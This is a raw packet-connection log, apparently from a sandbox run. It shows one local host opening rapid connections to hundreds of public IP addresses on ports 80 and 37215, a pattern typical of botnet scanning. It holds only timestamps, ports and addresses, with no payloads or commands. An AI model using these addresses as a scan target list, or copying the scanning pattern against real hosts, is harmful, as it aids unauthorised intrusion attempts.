Dec 3, 2024 21:01:55.705063105 CET	20129	80	192.168.2.23	97.86.104.172
Dec 3, 2024 21:01:55.705064058 CET	20129	80	192.168.2.23	177.182.144.246
Dec 3, 2024 21:01:55.705070972 CET	80	20129	217.1.165.60	192.168.2.23
Dec 3, 2024 21:01:55.705080986 CET	80	20129	117.49.158.175	192.168.2.23
Dec 3, 2024 21:01:55.705080986 CET	20129	80	192.168.2.23	66.50.62.26
Dec 3, 2024 21:01:55.705089092 CET	80	20129	40.169.242.122	192.168.2.23
Dec 3, 2024 21:01:55.705096960 CET	20129	80	192.168.2.23	204.97.213.112
Dec 3, 2024 21:01:55.705097914 CET	80	20129	52.63.141.167	192.168.2.23
Dec 3, 2024 21:01:55.705105066 CET	20129	80	192.168.2.23	89.185.236.188
Dec 3, 2024 21:01:55.705106020 CET	20129	80	192.168.2.23	117.49.158.175
Dec 3, 2024 21:01:55.705106974 CET	80	20129	133.195.120.203	192.168.2.23
Dec 3, 2024 21:01:55.705120087 CET	80	20129	142.55.156.134	192.168.2.23
Dec 3, 2024 21:01:55.705130100 CET	80	20129	110.249.206.210	192.168.2.23
Dec 3, 2024 21:01:55.705132008 CET	20129	80	192.168.2.23	40.169.242.122
Dec 3, 2024 21:01:55.705132008 CET	20129	80	192.168.2.23	217.1.165.60
Dec 3, 2024 21:01:55.705141068 CET	80	20129	138.94.212.227	192.168.2.23
Dec 3, 2024 21:01:55.705141068 CET	20129	80	192.168.2.23	52.63.141.167
Dec 3, 2024 21:01:55.705147982 CET	20129	80	192.168.2.23	133.195.120.203
Dec 3, 2024 21:01:55.705149889 CET	80	20129	155.36.53.162	192.168.2.23
Dec 3, 2024 21:01:55.705158949 CET	80	20129	118.117.21.3	192.168.2.23
Dec 3, 2024 21:01:55.705162048 CET	20129	80	192.168.2.23	142.55.156.134
Dec 3, 2024 21:01:55.705168009 CET	20129	80	192.168.2.23	138.94.212.227
Dec 3, 2024 21:01:55.705168009 CET	80	20129	168.212.216.80	192.168.2.23
Dec 3, 2024 21:01:55.705174923 CET	20129	80	192.168.2.23	110.249.206.210
Dec 3, 2024 21:01:55.705178022 CET	20129	80	192.168.2.23	155.36.53.162
Dec 3, 2024 21:01:55.705185890 CET	80	20129	101.60.68.191	192.168.2.23
Dec 3, 2024 21:01:55.705189943 CET	20129	80	192.168.2.23	118.117.21.3
Dec 3, 2024 21:01:55.705198050 CET	80	20129	48.55.218.82	192.168.2.23
Dec 3, 2024 21:01:55.705204010 CET	20129	80	192.168.2.23	168.212.216.80
Dec 3, 2024 21:01:55.705207109 CET	80	20129	82.185.67.36	192.168.2.23
Dec 3, 2024 21:01:55.705224037 CET	80	20129	47.66.177.92	192.168.2.23
Dec 3, 2024 21:01:55.705229044 CET	20129	80	192.168.2.23	101.60.68.191
Dec 3, 2024 21:01:55.705231905 CET	20129	80	192.168.2.23	48.55.218.82
Dec 3, 2024 21:01:55.705235958 CET	80	20129	219.95.98.203	192.168.2.23
Dec 3, 2024 21:01:55.705239058 CET	20129	80	192.168.2.23	82.185.67.36
Dec 3, 2024 21:01:55.705245972 CET	80	20129	9.92.249.248	192.168.2.23
Dec 3, 2024 21:01:55.705255985 CET	80	20129	196.159.209.169	192.168.2.23
Dec 3, 2024 21:01:55.705256939 CET	20129	80	192.168.2.23	47.66.177.92
Dec 3, 2024 21:01:55.705265999 CET	80	20129	78.98.182.5	192.168.2.23
Dec 3, 2024 21:01:55.705275059 CET	37215	18849	197.250.82.30	192.168.2.23
Dec 3, 2024 21:01:55.705276966 CET	20129	80	192.168.2.23	219.95.98.203
Dec 3, 2024 21:01:55.705279112 CET	37215	18849	156.236.47.248	192.168.2.23
Dec 3, 2024 21:01:55.705285072 CET	37215	18849	197.162.78.28	192.168.2.23
Dec 3, 2024 21:01:55.705292940 CET	37215	18849	197.246.94.30	192.168.2.23
Dec 3, 2024 21:01:55.705292940 CET	20129	80	192.168.2.23	9.92.249.248
Dec 3, 2024 21:01:55.705292940 CET	20129	80	192.168.2.23	196.159.209.169
Dec 3, 2024 21:01:55.705302954 CET	37215	18849	41.220.241.215	192.168.2.23
Dec 3, 2024 21:01:55.705307961 CET	18849	37215	192.168.2.23	197.250.82.30
Dec 3, 2024 21:01:55.705307961 CET	18849	37215	192.168.2.23	156.236.47.248
Dec 3, 2024 21:01:55.705310106 CET	20129	80	192.168.2.23	78.98.182.5
Dec 3, 2024 21:01:55.705311060 CET	18849	37215	192.168.2.23	197.162.78.28
Dec 3, 2024 21:01:55.705312967 CET	37215	18849	197.212.130.33	192.168.2.23
Dec 3, 2024 21:01:55.705322027 CET	37215	18849	156.242.198.38	192.168.2.23
Dec 3, 2024 21:01:55.705332041 CET	37215	18849	197.170.135.248	192.168.2.23
Dec 3, 2024 21:01:55.705332994 CET	18849	37215	192.168.2.23	197.246.94.30
Dec 3, 2024 21:01:55.705339909 CET	37215	18849	156.186.94.28	192.168.2.23
Dec 3, 2024 21:01:55.705344915 CET	18849	37215	192.168.2.23	197.212.130.33
Dec 3, 2024 21:01:55.705349922 CET	37215	18849	197.143.220.253	192.168.2.23
Dec 3, 2024 21:01:55.705353022 CET	18849	37215	192.168.2.23	41.220.241.215
Dec 3, 2024 21:01:55.705358028 CET	18849	37215	192.168.2.23	197.170.135.248
Dec 3, 2024 21:01:55.705358028 CET	18849	37215	192.168.2.23	156.186.94.28
Dec 3, 2024 21:01:55.705358982 CET	18849	37215	192.168.2.23	156.242.198.38
Dec 3, 2024 21:01:55.705358982 CET	37215	18849	41.189.23.1	192.168.2.23
Dec 3, 2024 21:01:55.705368996 CET	37215	18849	197.159.119.52	192.168.2.23
Dec 3, 2024 21:01:55.705377102 CET	37215	18849	41.11.59.217	192.168.2.23
Dec 3, 2024 21:01:55.705385923 CET	37215	18849	41.186.18.154	192.168.2.23
Dec 3, 2024 21:01:55.705391884 CET	18849	37215	192.168.2.23	197.143.220.253
Dec 3, 2024 21:01:55.705391884 CET	18849	37215	192.168.2.23	41.189.23.1
Dec 3, 2024 21:01:55.705394983 CET	37215	18849	197.92.7.35	192.168.2.23
Dec 3, 2024 21:01:55.705413103 CET	18849	37215	192.168.2.23	41.11.59.217
Dec 3, 2024 21:01:55.705413103 CET	18849	37215	192.168.2.23	197.159.119.52
Dec 3, 2024 21:01:55.705419064 CET	18849	37215	192.168.2.23	41.186.18.154
Dec 3, 2024 21:01:55.705440044 CET	18849	37215	192.168.2.23	197.92.7.35
Dec 3, 2024 21:01:55.705801010 CET	37215	18849	197.80.202.0	192.168.2.23
Dec 3, 2024 21:01:55.705813885 CET	37215	18849	156.9.227.182	192.168.2.23
Dec 3, 2024 21:01:55.705822945 CET	37215	18849	156.179.225.24	192.168.2.23
Dec 3, 2024 21:01:55.705832005 CET	37215	18849	197.33.160.64	192.168.2.23
Dec 3, 2024 21:01:55.705840111 CET	18849	37215	192.168.2.23	156.9.227.182
Dec 3, 2024 21:01:55.705842018 CET	37215	18849	41.196.221.226	192.168.2.23
Dec 3, 2024 21:01:55.705846071 CET	18849	37215	192.168.2.23	197.80.202.0
Dec 3, 2024 21:01:55.705852032 CET	37215	18849	156.148.90.138	192.168.2.23
Dec 3, 2024 21:01:55.705856085 CET	18849	37215	192.168.2.23	156.179.225.24
Dec 3, 2024 21:01:55.705861092 CET	37215	18849	197.154.226.78	192.168.2.23
Dec 3, 2024 21:01:55.705869913 CET	37215	18849	41.94.34.1	192.168.2.23
Dec 3, 2024 21:01:55.705879927 CET	18849	37215	192.168.2.23	197.33.160.64
Dec 3, 2024 21:01:55.705879927 CET	37215	18849	41.234.105.226	192.168.2.23
Dec 3, 2024 21:01:55.705882072 CET	18849	37215	192.168.2.23	156.148.90.138
Dec 3, 2024 21:01:55.705890894 CET	37215	18849	156.98.145.142	192.168.2.23
Dec 3, 2024 21:01:55.705898046 CET	18849	37215	192.168.2.23	41.196.221.226
Dec 3, 2024 21:01:55.705898046 CET	18849	37215	192.168.2.23	41.94.34.1
Dec 3, 2024 21:01:55.705899954 CET	37215	18849	41.22.5.43	192.168.2.23
Dec 3, 2024 21:01:55.705903053 CET	18849	37215	192.168.2.23	197.154.226.78
Dec 3, 2024 21:01:55.705909967 CET	37215	18849	41.220.60.13	192.168.2.23
Dec 3, 2024 21:01:55.705919027 CET	37215	18849	197.134.242.167	192.168.2.23
Dec 3, 2024 21:01:55.705924034 CET	18849	37215	192.168.2.23	41.22.5.43
Dec 3, 2024 21:01:55.705931902 CET	37215	18849	197.79.223.198	192.168.2.23
Dec 3, 2024 21:01:55.705936909 CET	18849	37215	192.168.2.23	41.234.105.226
Dec 3, 2024 21:01:55.705936909 CET	18849	37215	192.168.2.23	156.98.145.142
Dec 3, 2024 21:01:55.705941916 CET	37215	18849	197.88.63.147	192.168.2.23
Dec 3, 2024 21:01:55.705941916 CET	18849	37215	192.168.2.23	41.220.60.13
Dec 3, 2024 21:01:55.705950975 CET	37215	18849	41.160.19.83	192.168.2.23
Dec 3, 2024 21:01:55.705955982 CET	18849	37215	192.168.2.23	197.134.242.167
Dec 3, 2024 21:01:55.705959082 CET	18849	37215	192.168.2.23	197.79.223.198
Dec 3, 2024 21:01:55.705960035 CET	37215	18849	156.159.76.149	192.168.2.23
Dec 3, 2024 21:01:55.705969095 CET	37215	18849	156.139.88.16	192.168.2.23
Dec 3, 2024 21:01:55.705976963 CET	37215	18849	156.191.248.1	192.168.2.23
Dec 3, 2024 21:01:55.705984116 CET	18849	37215	192.168.2.23	41.160.19.83
Dec 3, 2024 21:01:55.705987930 CET	37215	18849	156.163.186.216	192.168.2.23
Dec 3, 2024 21:01:55.705990076 CET	18849	37215	192.168.2.23	197.88.63.147
Dec 3, 2024 21:01:55.705990076 CET	18849	37215	192.168.2.23	156.159.76.149
Dec 3, 2024 21:01:55.705998898 CET	37215	18849	197.156.74.37	192.168.2.23
Dec 3, 2024 21:01:55.706002951 CET	18849	37215	192.168.2.23	156.139.88.16
Dec 3, 2024 21:01:55.706008911 CET	37215	18849	197.130.14.222	192.168.2.23
Dec 3, 2024 21:01:55.706015110 CET	18849	37215	192.168.2.23	156.191.248.1
Dec 3, 2024 21:01:55.706017017 CET	37215	18849	41.23.87.182	192.168.2.23
Dec 3, 2024 21:01:55.706027031 CET	18849	37215	192.168.2.23	156.163.186.216
Dec 3, 2024 21:01:55.706027985 CET	37215	18849	197.116.133.192	192.168.2.23
Dec 3, 2024 21:01:55.706033945 CET	18849	37215	192.168.2.23	197.130.14.222
Dec 3, 2024 21:01:55.706037998 CET	37215	18849	156.194.183.44	192.168.2.23
Dec 3, 2024 21:01:55.706044912 CET	18849	37215	192.168.2.23	197.156.74.37
Dec 3, 2024 21:01:55.706053019 CET	37215	18849	197.152.129.144	192.168.2.23
Dec 3, 2024 21:01:55.706059933 CET	18849	37215	192.168.2.23	41.23.87.182
Dec 3, 2024 21:01:55.706063032 CET	37215	18849	156.9.200.161	192.168.2.23
Dec 3, 2024 21:01:55.706070900 CET	18849	37215	192.168.2.23	156.194.183.44
Dec 3, 2024 21:01:55.706073999 CET	37215	18849	156.15.147.44	192.168.2.23
Dec 3, 2024 21:01:55.706082106 CET	37215	18849	41.231.219.195	192.168.2.23
Dec 3, 2024 21:01:55.706090927 CET	37215	18849	41.93.202.248	192.168.2.23
Dec 3, 2024 21:01:55.706094027 CET	18849	37215	192.168.2.23	197.116.133.192
Dec 3, 2024 21:01:55.706099033 CET	18849	37215	192.168.2.23	197.152.129.144
Dec 3, 2024 21:01:55.706099987 CET	37215	18849	41.19.81.141	192.168.2.23
Dec 3, 2024 21:01:55.706110001 CET	37215	18849	197.91.137.165	192.168.2.23
Dec 3, 2024 21:01:55.706113100 CET	18849	37215	192.168.2.23	41.231.219.195
Dec 3, 2024 21:01:55.706115007 CET	18849	37215	192.168.2.23	156.9.200.161
Dec 3, 2024 21:01:55.706115007 CET	18849	37215	192.168.2.23	41.93.202.248
Dec 3, 2024 21:01:55.706119061 CET	37215	18849	41.0.84.65	192.168.2.23
Dec 3, 2024 21:01:55.706126928 CET	18849	37215	192.168.2.23	156.15.147.44
Dec 3, 2024 21:01:55.706127882 CET	37215	18849	41.105.120.110	192.168.2.23
Dec 3, 2024 21:01:55.706136942 CET	18849	37215	192.168.2.23	41.19.81.141
Dec 3, 2024 21:01:55.706139088 CET	37215	18849	156.32.142.125	192.168.2.23
Dec 3, 2024 21:01:55.706140995 CET	18849	37215	192.168.2.23	197.91.137.165
Dec 3, 2024 21:01:55.706147909 CET	37215	18849	41.209.16.159	192.168.2.23
Dec 3, 2024 21:01:55.706152916 CET	18849	37215	192.168.2.23	41.0.84.65
Dec 3, 2024 21:01:55.706156969 CET	37215	18849	197.78.63.44	192.168.2.23
Dec 3, 2024 21:01:55.706166029 CET	18849	37215	192.168.2.23	41.105.120.110
Dec 3, 2024 21:01:55.706166029 CET	37215	18849	197.174.92.123	192.168.2.23
Dec 3, 2024 21:01:55.706173897 CET	18849	37215	192.168.2.23	156.32.142.125
Dec 3, 2024 21:01:55.706175089 CET	37215	18849	41.165.98.50	192.168.2.23
Dec 3, 2024 21:01:55.706180096 CET	18849	37215	192.168.2.23	41.209.16.159
Dec 3, 2024 21:01:55.706186056 CET	18849	37215	192.168.2.23	197.78.63.44
Dec 3, 2024 21:01:55.706186056 CET	37215	18849	41.14.203.23	192.168.2.23
Dec 3, 2024 21:01:55.706196070 CET	37215	18849	156.1.138.43	192.168.2.23
Dec 3, 2024 21:01:55.706212044 CET	18849	37215	192.168.2.23	41.14.203.23
Dec 3, 2024 21:01:55.706213951 CET	18849	37215	192.168.2.23	197.174.92.123
Dec 3, 2024 21:01:55.706216097 CET	18849	37215	192.168.2.23	41.165.98.50
Dec 3, 2024 21:01:55.706233978 CET	18849	37215	192.168.2.23	156.1.138.43
Dec 3, 2024 21:01:55.706526041 CET	37215	18849	41.74.134.31	192.168.2.23
Dec 3, 2024 21:01:55.706538916 CET	37215	18849	41.37.202.154	192.168.2.23
Dec 3, 2024 21:01:55.706547976 CET	37215	18849	197.180.2.10	192.168.2.23
Dec 3, 2024 21:01:55.706557035 CET	37215	18849	197.246.89.105	192.168.2.23
Dec 3, 2024 21:01:55.706569910 CET	18849	37215	192.168.2.23	41.74.134.31
Dec 3, 2024 21:01:55.706573009 CET	37215	18849	156.39.211.7	192.168.2.23
Dec 3, 2024 21:01:55.706573963 CET	18849	37215	192.168.2.23	41.37.202.154
Dec 3, 2024 21:01:55.706583023 CET	18849	37215	192.168.2.23	197.180.2.10
Dec 3, 2024 21:01:55.706583977 CET	37215	18849	156.31.198.241	192.168.2.23
Dec 3, 2024 21:01:55.706593990 CET	37215	18849	41.239.240.180	192.168.2.23
Dec 3, 2024 21:01:55.706602097 CET	18849	37215	192.168.2.23	197.246.89.105
Dec 3, 2024 21:01:55.706603050 CET	37215	18849	156.251.127.68	192.168.2.23
Dec 3, 2024 21:01:55.706605911 CET	18849	37215	192.168.2.23	156.39.211.7
Dec 3, 2024 21:01:55.706613064 CET	37215	18849	41.163.69.120	192.168.2.23
Dec 3, 2024 21:01:55.706613064 CET	18849	37215	192.168.2.23	156.31.198.241
Dec 3, 2024 21:01:55.706621885 CET	37215	18849	41.184.59.107	192.168.2.23
Dec 3, 2024 21:01:55.706630945 CET	37215	18849	197.152.220.149	192.168.2.23
Dec 3, 2024 21:01:55.706630945 CET	18849	37215	192.168.2.23	41.239.240.180
Dec 3, 2024 21:01:55.706639051 CET	37215	18849	156.5.46.217	192.168.2.23
Dec 3, 2024 21:01:55.706646919 CET	18849	37215	192.168.2.23	41.163.69.120
Dec 3, 2024 21:01:55.706651926 CET	37215	18849	197.43.65.250	192.168.2.23
Dec 3, 2024 21:01:55.706655979 CET	18849	37215	192.168.2.23	156.251.127.68
Dec 3, 2024 21:01:55.706660986 CET	37215	18849	41.248.34.42	192.168.2.23
Dec 3, 2024 21:01:55.706664085 CET	18849	37215	192.168.2.23	41.184.59.107
Dec 3, 2024 21:01:55.706664085 CET	18849	37215	192.168.2.23	197.152.220.149
Dec 3, 2024 21:01:55.706670046 CET	37215	18849	156.40.65.199	192.168.2.23
Dec 3, 2024 21:01:55.706679106 CET	37215	18849	156.148.214.137	192.168.2.23
Dec 3, 2024 21:01:55.706682920 CET	18849	37215	192.168.2.23	156.5.46.217
Dec 3, 2024 21:01:55.706684113 CET	18849	37215	192.168.2.23	197.43.65.250
Dec 3, 2024 21:01:55.706687927 CET	37215	18849	41.94.148.57	192.168.2.23
Dec 3, 2024 21:01:55.706697941 CET	37215	18849	156.201.18.134	192.168.2.23
Dec 3, 2024 21:01:55.706701040 CET	18849	37215	192.168.2.23	41.248.34.42
Dec 3, 2024 21:01:55.706701040 CET	18849	37215	192.168.2.23	156.40.65.199
Dec 3, 2024 21:01:55.706707001 CET	37215	18849	156.60.38.42	192.168.2.23
Dec 3, 2024 21:01:55.706717014 CET	18849	37215	192.168.2.23	156.148.214.137
Dec 3, 2024 21:01:55.706717968 CET	37215	18849	156.14.19.122	192.168.2.23
Dec 3, 2024 21:01:55.706720114 CET	18849	37215	192.168.2.23	41.94.148.57
Dec 3, 2024 21:01:55.706726074 CET	37215	18849	41.114.125.191	192.168.2.23
Dec 3, 2024 21:01:55.706734896 CET	37215	18849	41.250.208.161	192.168.2.23
Dec 3, 2024 21:01:55.706743002 CET	18849	37215	192.168.2.23	156.14.19.122
Dec 3, 2024 21:01:55.706743956 CET	37215	18849	156.209.170.70	192.168.2.23
Dec 3, 2024 21:01:55.706744909 CET	18849	37215	192.168.2.23	156.201.18.134
Dec 3, 2024 21:01:55.706744909 CET	18849	37215	192.168.2.23	156.60.38.42
Dec 3, 2024 21:01:55.706754923 CET	37215	18849	197.162.249.113	192.168.2.23
Dec 3, 2024 21:01:55.706757069 CET	18849	37215	192.168.2.23	41.114.125.191
Dec 3, 2024 21:01:55.706763029 CET	18849	37215	192.168.2.23	41.250.208.161
Dec 3, 2024 21:01:55.706767082 CET	37215	18849	41.31.202.253	192.168.2.23
Dec 3, 2024 21:01:55.706775904 CET	37215	18849	156.24.238.199	192.168.2.23
Dec 3, 2024 21:01:55.706783056 CET	18849	37215	192.168.2.23	197.162.249.113
Dec 3, 2024 21:01:55.706784010 CET	18849	37215	192.168.2.23	156.209.170.70
Dec 3, 2024 21:01:55.706785917 CET	37215	18849	156.133.145.150	192.168.2.23
Dec 3, 2024 21:01:55.706800938 CET	37215	18849	41.88.24.136	192.168.2.23
Dec 3, 2024 21:01:55.706804037 CET	18849	37215	192.168.2.23	156.24.238.199
Dec 3, 2024 21:01:55.706811905 CET	37215	18849	41.235.236.144	192.168.2.23
Dec 3, 2024 21:01:55.706813097 CET	18849	37215	192.168.2.23	41.31.202.253
Dec 3, 2024 21:01:55.706820965 CET	37215	18849	156.171.132.207	192.168.2.23
Dec 3, 2024 21:01:55.706830025 CET	37215	18849	156.31.74.230	192.168.2.23
Dec 3, 2024 21:01:55.706837893 CET	18849	37215	192.168.2.23	156.133.145.150
Dec 3, 2024 21:01:55.706837893 CET	37215	18849	197.23.110.130	192.168.2.23
Dec 3, 2024 21:01:55.706845045 CET	18849	37215	192.168.2.23	41.235.236.144
Dec 3, 2024 21:01:55.706847906 CET	37215	18849	41.99.129.23	192.168.2.23
Dec 3, 2024 21:01:55.706857920 CET	37215	18849	41.228.193.214	192.168.2.23
Dec 3, 2024 21:01:55.706861019 CET	18849	37215	192.168.2.23	41.88.24.136
Dec 3, 2024 21:01:55.706861973 CET	18849	37215	192.168.2.23	156.171.132.207
Dec 3, 2024 21:01:55.706865072 CET	18849	37215	192.168.2.23	156.31.74.230
Dec 3, 2024 21:01:55.706866980 CET	37215	18849	156.169.49.51	192.168.2.23
Dec 3, 2024 21:01:55.706876993 CET	37215	18849	156.101.10.5	192.168.2.23
Dec 3, 2024 21:01:55.706878901 CET	18849	37215	192.168.2.23	41.99.129.23
Dec 3, 2024 21:01:55.706878901 CET	18849	37215	192.168.2.23	197.23.110.130
Dec 3, 2024 21:01:55.706886053 CET	37215	18849	156.31.33.239	192.168.2.23
Dec 3, 2024 21:01:55.706891060 CET	18849	37215	192.168.2.23	41.228.193.214
Dec 3, 2024 21:01:55.706896067 CET	37215	18849	41.191.174.31	192.168.2.23
Dec 3, 2024 21:01:55.706904888 CET	37215	18849	197.0.130.106	192.168.2.23
Dec 3, 2024 21:01:55.706913948 CET	37215	18849	197.203.128.137	192.168.2.23
Dec 3, 2024 21:01:55.706913948 CET	18849	37215	192.168.2.23	156.169.49.51
Dec 3, 2024 21:01:55.706921101 CET	18849	37215	192.168.2.23	156.101.10.5
Dec 3, 2024 21:01:55.706923962 CET	37215	18849	197.21.124.28	192.168.2.23
Dec 3, 2024 21:01:55.706928968 CET	18849	37215	192.168.2.23	156.31.33.239
Dec 3, 2024 21:01:55.706934929 CET	18849	37215	192.168.2.23	197.0.130.106
Dec 3, 2024 21:01:55.706939936 CET	18849	37215	192.168.2.23	41.191.174.31
Dec 3, 2024 21:01:55.706964016 CET	18849	37215	192.168.2.23	197.21.124.28
Dec 3, 2024 21:01:55.706968069 CET	18849	37215	192.168.2.23	197.203.128.137
Dec 3, 2024 21:01:55.707494020 CET	37215	18849	156.204.13.44	192.168.2.23
Dec 3, 2024 21:01:55.707508087 CET	37215	18849	156.90.61.140	192.168.2.23
Dec 3, 2024 21:01:55.707516909 CET	37215	18849	41.176.131.71	192.168.2.23
Dec 3, 2024 21:01:55.707525015 CET	37215	18849	156.197.240.133	192.168.2.23
Dec 3, 2024 21:01:55.707535028 CET	37215	18849	41.128.247.31	192.168.2.23
Dec 3, 2024 21:01:55.707535028 CET	18849	37215	192.168.2.23	156.204.13.44
Dec 3, 2024 21:01:55.707540035 CET	18849	37215	192.168.2.23	156.90.61.140
Dec 3, 2024 21:01:55.707547903 CET	37215	18849	197.100.126.108	192.168.2.23
Dec 3, 2024 21:01:55.707549095 CET	18849	37215	192.168.2.23	41.176.131.71
Dec 3, 2024 21:01:55.707549095 CET	18849	37215	192.168.2.23	156.197.240.133
Dec 3, 2024 21:01:55.707557917 CET	37215	18849	41.104.32.101	192.168.2.23
Dec 3, 2024 21:01:55.707566977 CET	37215	18849	197.126.210.144	192.168.2.23
Dec 3, 2024 21:01:55.707571983 CET	18849	37215	192.168.2.23	41.128.247.31
Dec 3, 2024 21:01:55.707576036 CET	37215	18849	156.74.171.213	192.168.2.23
Dec 3, 2024 21:01:55.707585096 CET	37215	18849	41.88.88.201	192.168.2.23
Dec 3, 2024 21:01:55.707592964 CET	18849	37215	192.168.2.23	197.100.126.108
Dec 3, 2024 21:01:55.707593918 CET	37215	18849	41.80.133.242	192.168.2.23
Dec 3, 2024 21:01:55.707597017 CET	18849	37215	192.168.2.23	197.126.210.144
Dec 3, 2024 21:01:55.707601070 CET	18849	37215	192.168.2.23	156.74.171.213
Dec 3, 2024 21:01:55.707606077 CET	37215	18849	156.77.223.144	192.168.2.23
Dec 3, 2024 21:01:55.707606077 CET	18849	37215	192.168.2.23	41.104.32.101
Dec 3, 2024 21:01:55.707617044 CET	37215	18849	156.181.157.225	192.168.2.23
Dec 3, 2024 21:01:55.707627058 CET	37215	18849	197.197.157.219	192.168.2.23
Dec 3, 2024 21:01:55.707629919 CET	18849	37215	192.168.2.23	41.88.88.201
Dec 3, 2024 21:01:55.707632065 CET	18849	37215	192.168.2.23	41.80.133.242
Dec 3, 2024 21:01:55.707632065 CET	18849	37215	192.168.2.23	156.77.223.144
Dec 3, 2024 21:01:55.707636118 CET	37215	18849	41.191.170.35	192.168.2.23
Dec 3, 2024 21:01:55.707644939 CET	37215	18849	197.167.61.155	192.168.2.23
Dec 3, 2024 21:01:55.707653046 CET	37215	18849	41.31.110.91	192.168.2.23
Dec 3, 2024 21:01:55.707655907 CET	18849	37215	192.168.2.23	197.197.157.219
Dec 3, 2024 21:01:55.707663059 CET	37215	18849	41.98.112.69	192.168.2.23
Dec 3, 2024 21:01:55.707664967 CET	18849	37215	192.168.2.23	156.181.157.225
Dec 3, 2024 21:01:55.707673073 CET	37215	18849	197.32.155.9	192.168.2.23
Dec 3, 2024 21:01:55.707676888 CET	18849	37215	192.168.2.23	41.191.170.35
Dec 3, 2024 21:01:55.707680941 CET	37215	18849	156.155.82.47	192.168.2.23
Dec 3, 2024 21:01:55.707690001 CET	37215	18849	41.204.102.219	192.168.2.23
Dec 3, 2024 21:01:55.707694054 CET	18849	37215	192.168.2.23	197.167.61.155
Dec 3, 2024 21:01:55.707700014 CET	37215	18849	197.42.21.114	192.168.2.23
Dec 3, 2024 21:01:55.707703114 CET	18849	37215	192.168.2.23	41.31.110.91
Dec 3, 2024 21:01:55.707703114 CET	18849	37215	192.168.2.23	41.98.112.69
Dec 3, 2024 21:01:55.707706928 CET	18849	37215	192.168.2.23	197.32.155.9
Dec 3, 2024 21:01:55.707706928 CET	18849	37215	192.168.2.23	156.155.82.47
Dec 3, 2024 21:01:55.707710981 CET	37215	18849	41.35.193.241	192.168.2.23
Dec 3, 2024 21:01:55.707720995 CET	37215	18849	197.174.6.214	192.168.2.23
Dec 3, 2024 21:01:55.707729101 CET	18849	37215	192.168.2.23	41.204.102.219
Dec 3, 2024 21:01:55.707731962 CET	37215	18849	156.163.84.65	192.168.2.23
Dec 3, 2024 21:01:55.707736969 CET	18849	37215	192.168.2.23	197.42.21.114
Dec 3, 2024 21:01:55.707741976 CET	37215	18849	156.52.168.146	192.168.2.23
Dec 3, 2024 21:01:55.707741022 CET	18849	37215	192.168.2.23	41.35.193.241
Dec 3, 2024 21:01:55.707751989 CET	37215	18849	197.190.7.177	192.168.2.23
Dec 3, 2024 21:01:55.707756996 CET	18849	37215	192.168.2.23	197.174.6.214
Dec 3, 2024 21:01:55.707762003 CET	37215	18849	41.158.81.3	192.168.2.23
Dec 3, 2024 21:01:55.707771063 CET	37215	18849	156.157.16.24	192.168.2.23
Dec 3, 2024 21:01:55.707772017 CET	18849	37215	192.168.2.23	156.52.168.146
Dec 3, 2024 21:01:55.707779884 CET	37215	18849	156.193.17.200	192.168.2.23
Dec 3, 2024 21:01:55.707789898 CET	37215	18849	156.56.61.88	192.168.2.23
Dec 3, 2024 21:01:55.707792997 CET	18849	37215	192.168.2.23	197.190.7.177
Dec 3, 2024 21:01:55.707799911 CET	37215	18849	197.228.28.84	192.168.2.23
Dec 3, 2024 21:01:55.707799911 CET	18849	37215	192.168.2.23	156.157.16.24
Dec 3, 2024 21:01:55.707806110 CET	18849	37215	192.168.2.23	156.163.84.65
Dec 3, 2024 21:01:55.707806110 CET	18849	37215	192.168.2.23	41.158.81.3
Dec 3, 2024 21:01:55.707808971 CET	37215	18849	41.51.25.88	192.168.2.23
Dec 3, 2024 21:01:55.707814932 CET	18849	37215	192.168.2.23	156.193.17.200
Dec 3, 2024 21:01:55.707818985 CET	37215	18849	197.153.239.233	192.168.2.23
Dec 3, 2024 21:01:55.707819939 CET	18849	37215	192.168.2.23	156.56.61.88
Dec 3, 2024 21:01:55.707827091 CET	18849	37215	192.168.2.23	197.228.28.84
Dec 3, 2024 21:01:55.707828999 CET	37215	18849	156.216.255.214	192.168.2.23
Dec 3, 2024 21:01:55.707837105 CET	37215	18849	41.254.209.99	192.168.2.23
Dec 3, 2024 21:01:55.707847118 CET	37215	18849	41.143.79.182	192.168.2.23
Dec 3, 2024 21:01:55.707854986 CET	37215	18849	197.151.73.118	192.168.2.23
Dec 3, 2024 21:01:55.707865000 CET	37215	18849	156.79.212.120	192.168.2.23
Dec 3, 2024 21:01:55.707865953 CET	18849	37215	192.168.2.23	41.254.209.99
Dec 3, 2024 21:01:55.707873106 CET	18849	37215	192.168.2.23	197.153.239.233
Dec 3, 2024 21:01:55.707873106 CET	18849	37215	192.168.2.23	41.51.25.88
Dec 3, 2024 21:01:55.707874060 CET	37215	18849	156.236.49.79	192.168.2.23
Dec 3, 2024 21:01:55.707874060 CET	18849	37215	192.168.2.23	156.216.255.214
Dec 3, 2024 21:01:55.707875967 CET	18849	37215	192.168.2.23	41.143.79.182
Dec 3, 2024 21:01:55.707885027 CET	37215	18849	41.179.221.194	192.168.2.23
Dec 3, 2024 21:01:55.707899094 CET	18849	37215	192.168.2.23	156.79.212.120
Dec 3, 2024 21:01:55.707899094 CET	18849	37215	192.168.2.23	156.236.49.79
Dec 3, 2024 21:01:55.707902908 CET	18849	37215	192.168.2.23	197.151.73.118
Dec 3, 2024 21:01:55.707906961 CET	18849	37215	192.168.2.23	41.179.221.194
Dec 3, 2024 21:01:55.708205938 CET	37215	18849	41.122.254.107	192.168.2.23
Dec 3, 2024 21:01:55.708219051 CET	37215	18849	41.59.122.19	192.168.2.23
Dec 3, 2024 21:01:55.708228111 CET	37215	18849	197.67.153.98	192.168.2.23
Dec 3, 2024 21:01:55.708236933 CET	37215	18849	156.232.32.217	192.168.2.23
Dec 3, 2024 21:01:55.708245039 CET	18849	37215	192.168.2.23	41.122.254.107
Dec 3, 2024 21:01:55.708245993 CET	37215	18849	41.173.165.250	192.168.2.23
Dec 3, 2024 21:01:55.708255053 CET	37215	18849	41.62.17.28	192.168.2.23
Dec 3, 2024 21:01:55.708261013 CET	18849	37215	192.168.2.23	41.59.122.19
Dec 3, 2024 21:01:55.708264112 CET	37215	18849	41.92.208.243	192.168.2.23
Dec 3, 2024 21:01:55.708271980 CET	18849	37215	192.168.2.23	197.67.153.98
Dec 3, 2024 21:01:55.708272934 CET	37215	18849	156.23.94.228	192.168.2.23
Dec 3, 2024 21:01:55.708275080 CET	18849	37215	192.168.2.23	156.232.32.217
Dec 3, 2024 21:01:55.708275080 CET	18849	37215	192.168.2.23	41.173.165.250
Dec 3, 2024 21:01:55.708282948 CET	37215	18849	156.228.56.79	192.168.2.23
Dec 3, 2024 21:01:55.708292007 CET	37215	18849	156.43.116.184	192.168.2.23
